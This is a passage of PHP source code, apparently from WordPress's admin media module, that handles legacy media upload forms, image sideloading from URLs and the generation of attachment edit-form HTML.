	if ( isset( $_POST['save'] ) ) {
		$errors['upload_notice'] = __( 'Saved.' );
		wp_enqueue_script( 'admin-gallery' );

		return wp_iframe( 'media_upload_gallery_form', $errors );

	} elseif ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}

		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	if ( isset( $_GET['tab'] ) && 'type_url' === $_GET['tab'] ) {
		$type = 'image';

		if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ), true ) ) {
			$type = $_GET['type'];
		}

		return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
	}

	return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
}

/**
 * Downloads an image from the specified URL, saves it as an attachment, and optionally attaches it to a post.
 *
 * @since 2.6.0
 * @since 4.2.0 Introduced the `$return_type` parameter.
 * @since 4.8.0 Introduced the 'id' option for the `$return_type` parameter.
 * @since 5.3.0 The `$post_id` parameter was made optional.
 * @since 5.4.0 The original URL of the attachment is stored in the `_source_url`
 *              post meta value.
 * @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
 *
 * @param string $file        The URL of the image to download.
 * @param int    $post_id     Optional. The post ID the media is to be associated with.
 * @param string $desc        Optional. Description of the image.
 * @param string $return_type Optional. Accepts 'html' (image tag html) or 'src' (URL),
 *                            or 'id' (attachment ID). Default 'html'.
 * @return string|int|WP_Error Populated HTML img tag, attachment ID, or attachment source
 *                             on success, WP_Error object otherwise.
 */
function media_sideload_image( $file, $post_id = 0, $desc = null, $return_type = 'html' ) {
	if ( ! empty( $file ) ) {

		$allowed_extensions = array( 'jpg', 'jpeg', 'jpe', 'png', 'gif', 'webp' );

		/**
		 * Filters the list of allowed file extensions when sideloading an image from a URL.
		 *
		 * The default allowed extensions are:
		 *
		 *  - `jpg`
		 *  - `jpeg`
		 *  - `jpe`
		 *  - `png`
		 *  - `gif`
		 *  - `webp`
		 *
		 * @since 5.6.0
		 * @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
		 *
		 * @param string[] $allowed_extensions Array of allowed file extensions.
		 * @param string   $file               The URL of the image to download.
		 */
		$allowed_extensions = apply_filters( 'image_sideload_extensions', $allowed_extensions, $file );
		$allowed_extensions = array_map( 'preg_quote', $allowed_extensions );

		// Set variables for storage, fix file filename for query strings.
		preg_match( '/[^\?]+\.(' . implode( '|', $allowed_extensions ) . ')\b/i', $file, $matches );

		if ( ! $matches ) {
			return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL.' ) );
		}

		$file_array         = array();
		$file_array['name'] = wp_basename( $matches[0] );

		// Download file to temp location.
		$file_array['tmp_name'] = download_url( $file );

		// If error storing temporarily, return the error.
		if ( is_wp_error( $file_array['tmp_name'] ) ) {
			return $file_array['tmp_name'];
		}

		// Do the validation and storage stuff.
		$id = media_handle_sideload( $file_array, $post_id, $desc );

		// If error storing permanently, unlink.
		if ( is_wp_error( $id ) ) {
			@unlink( $file_array['tmp_name'] );
			return $id;
		}

		// Store the original attachment source in meta.
		add_post_meta( $id, '_source_url', $file );

		// If attachment ID was requested, return it.
		if ( 'id' === $return_type ) {
			return $id;
		}

		$src = wp_get_attachment_url( $id );
	}

	// Finally, check to make sure the file has been saved, then return the HTML.
	if ( ! empty( $src ) ) {
		if ( 'src' === $return_type ) {
			return $src;
		}

		$alt  = isset( $desc ) ? esc_attr( $desc ) : '';
		$html = "<img src='$src' alt='$alt' />";

		return $html;
	} else {
		return new WP_Error( 'image_sideload_failed' );
	}
}

/**
 * Retrieves the legacy media uploader form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_gallery() {
	$errors = array();

	if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}

		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	wp_enqueue_script( 'admin-gallery' );
	return wp_iframe( 'media_upload_gallery_form', $errors );
}

/**
 * Retrieves the legacy media library form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_library() {
	$errors = array();

	if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}
		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	return wp_iframe( 'media_upload_library_form', $errors );
}

/**
 * Retrieves HTML for the image alignment radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $checked
 * @return string
 */
function image_align_input_fields( $post, $checked = '' ) {

	if ( empty( $checked ) ) {
		$checked = get_user_setting( 'align', 'none' );
	}

	$alignments = array(
		'none'   => __( 'None' ),
		'left'   => __( 'Left' ),
		'center' => __( 'Center' ),
		'right'  => __( 'Right' ),
	);

	if ( ! array_key_exists( (string) $checked, $alignments ) ) {
		$checked = 'none';
	}

	$output = array();

	foreach ( $alignments as $name => $label ) {
		$name     = esc_attr( $name );
		$output[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'" .
			( $checked == $name ? " checked='checked'" : '' ) .
			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
	}

	return implode( "\n", $output );
}

/**
 * Retrieves HTML for the size radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post     $post
 * @param bool|string $check
 * @return array
 */
function image_size_input_fields( $post, $check = '' ) {
	/**
	 * Filters the names and labels of the default image sizes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $size_names Array of image size labels keyed by their name. Default values
	 *                             include 'Thumbnail', 'Medium', 'Large', and 'Full Size'.
	 */
	$size_names = apply_filters(
		'image_size_names_choose',
		array(
			'thumbnail' => __( 'Thumbnail' ),
			'medium'    => __( 'Medium' ),
			'large'     => __( 'Large' ),
			'full'      => __( 'Full Size' ),
		)
	);

	if ( empty( $check ) ) {
		$check = get_user_setting( 'imgsize', 'medium' );
	}

	$output = array();

	foreach ( $size_names as $size => $label ) {
		$downsize = image_downsize( $post->ID, $size );
		$checked  = '';

		// Is this size selectable?
		$enabled = ( $downsize[3] || 'full' === $size );
		$css_id  = "image-size-{$size}-{$post->ID}";

		// If this size is the default but that's not available, don't select it.
		if ( $size == $check ) {
			if ( $enabled ) {
				$checked = " checked='checked'";
			} else {
				$check = '';
			}
		} elseif ( ! $check && $enabled && 'thumbnail' !== $size ) {
			/*
			 * If $check is not enabled, default to the first available size
			 * that's bigger than a thumbnail.
			 */
			$check   = $size;
			$checked = " checked='checked'";
		}

		$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";

		$html .= "<label for='{$css_id}'>$label</label>";

		// Only show the dimensions if that choice is available.
		if ( $enabled ) {
			$html .= " <label for='{$css_id}' class='help'>" . sprintf( '(%d&nbsp;&times;&nbsp;%d)', $downsize[1], $downsize[2] ) . '</label>';
		}
		$html .= '</div>';

		$output[] = $html;
	}

	return array(
		'label' => __( 'Size' ),
		'input' => 'html',
		'html'  => implode( "\n", $output ),
	);
}

/**
 * Retrieves HTML for the Link URL buttons with the default link type as specified.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $url_type
 * @return string
 */
function image_link_input_fields( $post, $url_type = '' ) {

	$file = wp_get_attachment_url( $post->ID );
	$link = get_attachment_link( $post->ID );

	if ( empty( $url_type ) ) {
		$url_type = get_user_setting( 'urlbutton', 'post' );
	}

	$url = '';

	if ( 'file' === $url_type ) {
		$url = $file;
	} elseif ( 'post' === $url_type ) {
		$url = $link;
	}

	return "
	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr( $url ) . "' /><br />
	<button type='button' class='button urlnone' data-link-url=''>" . __( 'None' ) . "</button>
	<button type='button' class='button urlfile' data-link-url='" . esc_url( $file ) . "'>" . __( 'File URL' ) . "</button>
	<button type='button' class='button urlpost' data-link-url='" . esc_url( $link ) . "'>" . __( 'Attachment Post URL' ) . '</button>
';
}

/**
 * Outputs a textarea element for inputting an attachment caption.
 *
 * @since 3.4.0
 *
 * @param WP_Post $edit_post Attachment WP_Post object.
 * @return string HTML markup for the textarea element.
 */
function wp_caption_input_textarea( $edit_post ) {
	// Post data is already escaped.
	$name = "attachments[{$edit_post->ID}][post_excerpt]";

	return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
}

/**
 * Retrieves the image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array  $form_fields
 * @param object $post
 * @return array
 */
function image_attachment_fields_to_edit( $form_fields, $post ) {
	return $form_fields;
}

/**
 * Retrieves the single non-image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['url'], $form_fields['align'], $form_fields['image-size'] );
	return $form_fields;
}

/**
 * Retrieves the post non-image attachment fields to edit form fields.
 *
 * @since 2.8.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['image_url'] );
	return $form_fields;
}

/**
 * Retrieves the media element HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param string  $html
 * @param int     $attachment_id
 * @param array   $attachment
 * @return string
 */
function image_media_send_to_editor( $html, $attachment_id, $attachment ) {
	$post = get_post( $attachment_id );

	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$url   = $attachment['url'];
		$align = ! empty( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = ! empty( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = ! empty( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
		$rel   = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $attachment_id ) === $url );

		return get_image_send_to_editor( $attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt );
	}

	return $html;
}

/**
 * Retrieves the attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param WP_Post $post
 * @param array   $errors
 * @return array
 */
function get_attachment_fields_to_edit( $post, $errors = null ) {
	if ( is_int( $post ) ) {
		$post = get_post( $post );
	}

	if ( is_array( $post ) ) {
		$post = new WP_Post( (object) $post );
	}

	$image_url = wp_get_attachment_url( $post->ID );

	$edit_post = sanitize_post( $post, 'edit' );

	$form_fields = array(
		'post_title'   => array(
			'label' => __( 'Title' ),
			'value' => $edit_post->post_title,
		),
		'image_alt'    => array(),
		'post_excerpt' => array(
			'label' => __( 'Caption' ),
			'input' => 'html',
			'html'  => wp_caption_input_textarea( $edit_post ),
		),
		'post_content' => array(
			'label' => __( 'Description' ),
			'value' => $edit_post->post_content,
			'input' => 'textarea',
		),
		'url'          => array(
			'label' => __( 'Link URL' ),
			'input' => 'html',
			'html'  => image_link_input_fields( $post, get_option( 'image_default_link_type' ) ),
			'helps' => __( 'Enter a link URL or click above for presets.' ),
		),
		'menu_order'   => array(
			'label' => __( 'Order' ),
			'value' => $edit_post->menu_order,
		),
		'image_url'    => array(
			'label' => __( 'File URL' ),
			'input' => 'html',
			'html'  => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr( $image_url ) . "' /><br />",
			'value' => wp_get_attachment_url( $post->ID ),
			'helps' => __( 'Location of the uploaded file.' ),
		),
	);

	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		$t = (array) get_taxonomy( $taxonomy );

		if ( ! $t['public'] || ! $t['show_ui'] ) {
			continue;
		}

		if ( empty( $t['label'] ) ) {
			$t['label'] = $taxonomy;
		}

		if ( empty( $t['args'] ) ) {
			$t['args'] = array();
		}

		$terms = get_object_term_cache( $post->ID, $taxonomy );

		if ( false === $terms ) {
			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
		}

		$values = array();

		foreach ( $terms as $term ) {
			$values[] = $term->slug;
		}

		$t['value'] = implode( ', ', $values );

		$form_fields[ $taxonomy ] = $t;
	}

	/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $errors );

	// This was formerly in image_attachment_fields_to_edit().
	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$alt = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

		if ( empty( $alt ) ) {
			$alt = '';
		}

		$form_fields['post_title']['required'] = true;

		$form_fields['image_alt'] = array(
			'value' => $alt,
			'label' => __( 'Alternative Text' ),
			'helps' => __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ),
		);

		$form_fields['align'] = array(
			'label' => __( 'Alignment' ),
			'input' => 'html',
			'html'  => image_align_input_fields( $post, get_option( 'image_default_align' ) ),
		);

		$form_fields['image-size'] = image_size_input_fields( $post, get_option( 'image_default_size', 'medium' ) );

	} else {
		unset( $form_fields['image_alt'] );
	}

	/**
	 * Filters the attachment fields to edit.
	 *
	 * @since 2.5.0
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post        The WP_Post attachment object.
	 */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

	return $form_fields;
}

/**
 * Retrieves HTML for media items of post gallery.
 *
 * The HTML markup retrieved will be created for the progress of SWF Upload
 * component. Will also create link for showing and hiding the form to modify
 * the image attachment.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_the_query WordPress Query object.
 *
 * @param int   $post_id Post ID.
 * @param array $errors  Errors for attachment, if any.
 * @return string HTML content for media items of post gallery.
 */
function get_media_items( $post_id, $errors ) {
	$attachments = array();

	if ( $post_id ) {
		$post = get_post( $post_id );

		if ( $post && 'attachment' === $post->post_type ) {
			$attachments = array( $post->ID => $post );
		} else {
			$attachments = get_children(
				array(
					'post_parent' => $post_id,
					'post_type'   => 'attachment',
					'orderby'     => 'menu_order ASC, ID',
					'order'       => 'DESC',
				)
			);
		}
	} else {
		if ( is_array( $GLOBALS['wp_the_query']->posts ) ) {
			foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) {
				$attachments[ $attachment->ID ] = $attachment;
			}
		}
	}

	$output = '';
	foreach ( (array) $attachments as $id => $attachment ) {
		if ( 'trash' === $attachment->post_status ) {
			continue;
		}

		$item = get_media_item( $id, array( 'errors' => isset( $errors[ $id ] ) ? $errors[ $id ] : null ) );

		if ( $item ) {
			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
		}
	}

	return $output;
}

/**
 * Retrieves HTML form for modifying the image attachment.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 *
 * @param int          $attachment_id Attachment ID for modification.
 * @param string|array $args          Optional. Override defaults.
 * @return string HTML form for attachment.
 */
function get_media_item( $attachment_id, $args = null ) {
	global $redir_tab;

	$thumb_url     = false;
	$attachment_id = (int) $attachment_id;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );

		if ( $thumb_url ) {
			$thumb_url = $thumb_url[0];
		}
	}

	$post            = get_post( $attachment_id );
	$current_post_id = ! empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;

	$default_args = array(
		'errors'     => null,
		'send'       => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true,
		'delete'     => true,
		'toggle'     => true,
		'show_title' => true,
	);

	$parsed_args = wp_parse_args( $args, $default_args );

	/**
	 * Filters the arguments used to retrieve an image for the edit image form.
	 *
	 * @since 3.1.0
	 *
	 * @see get_media_item
	 *
	 * @param array $parsed_args An array of arguments.
	 */
	$parsed_args = apply_filters( 'get_media_item_args', $parsed_args );

	$toggle_on  = __( 'Show' );
	$toggle_off = __( 'Hide' );

	$file     = get_attached_file( $post->ID );
	$filename = esc_html( wp_basename( $file ) );
	$title    = esc_attr( $post->post_title );

	$post_mime_types = get_post_mime_types();
	$keys            = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
	$type            = reset( $keys );
	$type_html       = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";

	$form_fields = get_attachment_fields_to_edit( $post, $parsed_args['errors'] );

	if ( $parsed_args['toggle'] ) {
		$class        = empty( $parsed_args['errors'] ) ? 'startclosed' : 'startopen';
		$toggle_links = "
		<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
		<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
	} else {
		$class        = '';
		$toggle_links = '';
	}

	$display_title = ( ! empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case.
	$display_title = $parsed_args['show_title'] ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . '</span></div>' : '';

	$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' === $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' === $redir_tab ) );
	$order   = '';

	foreach ( $form_fields as $key => $val ) {
		if ( 'menu_order' === $key ) {
			if ( $gallery ) {
				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' /></div>";
			} else {
				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";
			}

			unset( $form_fields['menu_order'] );
			break;
		}
	}

	$media_dims = '';
	$meta       = wp_get_attachment_metadata( $post->ID );

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}

	/**
	 * Filters the media metadata.
	 *
	 * @since 2.5.0
	 *
	 * @param string  $media_dims The HTML markup containing the media dimensions.
	 * @param WP_Post $post       The WP_Post attachment object.
	 */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

	$image_edit_button = '';

	if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
		$nonce             = wp_create_nonce( "image_editor-$post->ID" );
		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
	}

	$attachment_url = get_permalink( $attachment_id );

	$item = "
		$type_html
		$toggle_links
		$order
		$display_title
		<table class='slidetoggle describe $class'>
			<thead class='media-item-info' id='media-head-$post->ID'>
			<tr>
			<td class='A1B1' id='thumbnail-head-$post->ID'>
			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
			<p>$image_edit_button</p>
			</td>
			<td>
			<p><strong>" . __( 'File name:' ) . "</strong> $filename</p>
			<p><strong>" . __( 'File type:' ) . "</strong> $post->post_mime_type</p>
			<p><strong>" . __( 'Upload date:' ) . '</strong> ' . mysql2date( __( 'F j, Y' ), $post->post_date ) . '</p>';

	if ( ! empty( $media_dims ) ) {
		$item .= '<p><strong>' . __( 'Dimensions:' ) . "</strong> $media_dims</p>\n";
	}

	$item .= "</td></tr>\n";

	$item .= "
		</thead>
		<tbody>
		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>\n
		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n
		<tr><td colspan='2'><p class='media-types media-types-required-info'>" .
			wp_required_field_message() .
		"</p></td></tr>\n";

	$defaults = array(
		'input'      => 'text',
		'required'   => false,
		'value'      => '',
		'extra_rows' => array(),
	);

	if ( $parsed_args['send'] ) {
		$parsed_args['send'] = get_submit_button( __( 'Insert into Post' ), '', "send[$attachment_id]", false );
	}

	$delete = empty( $parsed_args['delete'] ) ? '' : $parsed_args['delete'];
	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
		if ( ! EMPTY_TRASH_DAYS ) {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
		} elseif ( ! MEDIA_TRASH ) {
			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
				<div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'>" .
				/* translators: %s: File name. */
				'<p>' . sprintf( __( 'You are about to delete %s.' ), '<strong>' . $filename . '</strong>' ) . "</p>
				<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
				<a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . '</a>
				</div>';
		} else {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . '</a>';
		}
	} else {
		$delete = '';
	}

	$thumbnail       = '';
	$calling_post_id = 0;

	if ( isset( $_GET['post_id'] ) ) {
		$calling_post_id = absint( $_GET['post_id'] );
	} elseif ( isset( $_POST ) && count( $_POST ) ) {// Like for async-upload where $_GET['post_id'] isn't set.
		$calling_post_id = $post->post_parent;
	}

	if ( 'image' === $type && $calling_post_id
		&& current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' )
		&& get_post_thumbnail_id( $calling_post_id ) != $attachment_id
	) {

		$calling_post             = get_post( $calling_post_id );
		$calling_post_type_object = get_post_type_object( $calling_post->post_type );

		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
		$thumbnail  = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html( $calling_post_type_object->labels->use_featured_image ) . '</a>';
	}

	if ( ( $parsed_args['send'] || $thumbnail || $delete ) && ! isset( $form_fields['buttons'] ) ) {
		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>" . $parsed_args['send'] . " $thumbnail $delete</td></tr>\n" );
	}

	$hidden_fields = array();

	foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

		if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

		$field = array_merge( $defaults, $field );
		$name  = "attachments[$attachment_id][$id]";

		if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

		$required      = $field['required'] ? ' ' . wp_required_field_indicator() : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = $id;
		$class        .= $field['required'] ? ' form-required' : '';

		$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}{$required}</span><br class='clear' /></label></th>\n\t\t\t<td class='field'>";

		if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// Sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			// Post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit().
			$item .= "<textarea id='$name' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "'{$required_attr} />";
		}

		if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . implode( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}
		$item .= "</td>\n\t\t</tr>\n";

		$extra_rows = array();

		if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

		if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

		foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

	if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

	$item .= "\t</tbody>\n";
	$item .= "\t</table>\n";

	foreach ( $hidden_fields as $name => $value ) {
		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
	}

	if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
		$parent      = (int) $_REQUEST['post_id'];
		$parent_name = "attachments[$attachment_id][post_parent]";
		$item       .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
	}

	return $item;
}

/**
 * @since 3.5.0
 *
 * @param int   $attachment_id
 * @param array $args
 * @return array
 */
function get_compat_media_markup( $attachment_id, $args = null ) {
	$post = get_post( $attachment_id );

	$default_args = array(
		'errors'   => null,
		'in_modal' => false,
	);

	$user_can_edit = current_user_can( 'edit_post', $attachment_id );

	$args = wp_parse_args( $args, $default_args );

	/** This filter is documented in wp-admin/includes/media.php */
	$args = apply_filters( 'get_media_item_args', $args );

	$form_fields = array();

	if ( $args['in_modal'] ) {
		foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
			$t = (array) get_taxonomy( $taxonomy );

			if ( ! $t['public'] || ! $t['show_ui'] ) {
				continue;
			}

			if ( empty( $t['label'] ) ) {
				$t['label'] = $taxonomy;
			}

			if ( empty( $t['args'] ) ) {
				$t['args'] = array();
			}

			$terms = get_object_term_cache( $post->ID, $taxonomy );

			if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
			}

			$values = array();

			foreach ( $terms as $term ) {
				$values[] = $term->slug;
			}

			$t['value']    = implode( ', ', $values );
			$t['taxonomy'] = true;

			$form_fields[ $taxonomy ] = $t;
		}
	}

	/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $args['errors'] );

	/** This filter is documented in wp-admin/includes/media.php */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

	unset(
		$form_fields['image-size'],
		$form_fields['align'],
		$form_fields['image_alt'],
		$form_fields['post_title'],
		$form_fields['post_excerpt'],
		$form_fields['post_content'],
		$form_fields['url'],
		$form_fields['menu_order'],
		$form_fields['image_url']
	);

	/** This filter is documented in wp-admin/includes/media.php */
	$media_meta = apply_filters( 'media_meta', '', $post );

	$defaults = array(
		'input'         => 'text',
		'required'      => false,
		'value'         => '',
		'extra_rows'    => array(),
		'show_in_edit'  => true,
		'show_in_modal' => true,
	);

	$hidden_fields = array();

	$item = '';

	foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

		$name    = "attachments[$attachment_id][$id]";
		$id_attr = "attachments-$attachment_id-$id";

		if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

		$field = array_merge( $defaults, $field );

		if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) ) {
			continue;
		}

		if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

		$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
		$required      = $field['required'] ? ' ' . wp_required_field_indicator() : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = 'compat-field-' . $id;
		$class        .= $field['required'] ? ' form-required' : '';

		$item .= "\t\t<tr class='$class'>";
		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
		$item .= "</th>\n\t\t\t<td class='field'>";

		if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			$item .= "<textarea id='$id_attr' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly{$required_attr} />";
		}

		if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . implode( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}

		$item .= "</td>\n\t\t</tr>\n";

		$extra_rows = array();

